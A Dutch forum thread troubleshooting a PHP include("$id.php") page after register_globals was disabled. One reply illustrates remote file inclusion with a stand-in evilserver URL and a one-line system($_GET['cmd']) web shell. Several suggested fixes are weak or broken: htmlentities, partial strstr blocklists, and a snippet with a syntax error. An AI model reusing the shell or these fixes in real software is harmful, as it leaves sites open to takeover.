Het probleem is het volgende. Ik heb een website met een folder "content". In deze folder staan php pagina's die regelmatig worden geupdate.

In de index.php is er een navigatiebalk met links die het volgende bevatten:

<td width="150"><font size="1"><a href="index.php?id=website/content/_8">
<font color="#FFFFFF">Leden</font></a>

Voordat mijn provider had geupdate naar PHP 5.0.4 werkte alles gewoon. En werd de gevraagde pagina gewoon geopend in de index.php
Nu echter gebeurt er helemaal niets.

Ik zoek nu al een week naar een oplossing maar vanwege mijn gebrek aan kennis wil ik nu dan toch hulp vragen.

Wie kan mij een duwtje in de goede richting geven?
zou je een stukje code uit index.php kunnen posten?
Waarschijnlijk een $_GET probleem.
O sorry natuurlijk de volgende code gebruik ik in index.php:

<td height="8">
<? if($id) { include("$id.php"); } else { include("website/content/_13.php"); } ?></td>
waarschijnlijk wat sanThe zegt:

Het is een slechte gewoonte om meteen een variabele op te roepen die in de querystring zit, en waarschijnlijk staat register_globals nu ook uit.

Dus moet je

$_GET["id"] gebruiken ipv $id. Dan komt gelijk punt twee, wat jij nu hebt is een veiligheidslek. Als ik nu voor id bijv. http://www.evilserver.php/system.php?cmd=ls mee stuur en in dat bestand staat: <?php system($_GET["cmd"]); ?> Zou ik jou server uiteindelijk best kunnen verkloten. Dus doe daar nog ff een htmlentities($_GET["id"], ENT_QUOTES) en het is een stuk beter :).
Zeg ik:
<?php
if($_GET['id') {
include($_GET['id'].".php");
} else {
include("website/content/_13.php");
}
?>
<?php
if(isset($_GET['id']) && !strstr($_GET['id'], '../')) {
include($_GET['id'].".php");
} else {
include("website/content/_13.php");
}
?>
Netter en veiliger ^^,
Nou mensen ik wil jullie hartelijk danken voor jullie ongelovelijke snelle reacties.

Zodra ik kans heb om de tips uit te proberen zal ik ff een bericht achterlaten hoe het is gegaan.
en zeg ik

<?php
if(isset($_GET['id']) && !strstr($_GET['id'], '../') && !strstr($_GET['id'], '://')) {
include($_GET['id'].".php");
} else {
include("website/content/_13.php");
}
?>
Dat is inderdaad nog beter ;)
Ik denk trouwens dat filteren op : al genoeg is, aangezien die toch niet in filesystem voor kunnen komen. (behalve op een mac als directory splitsing, al doet \ het hier ook prima)
Kan je de // niet escapen? Dan komt hij wel door de validatie, maar volgens mij filtert hij hem er dan bij de aanvraag zelf weer uit. Weet niet zeker.
escapen kan niet in query string, dat neemt hij dan letterlijk op :). Je kan alleen url encoden :)

Reageren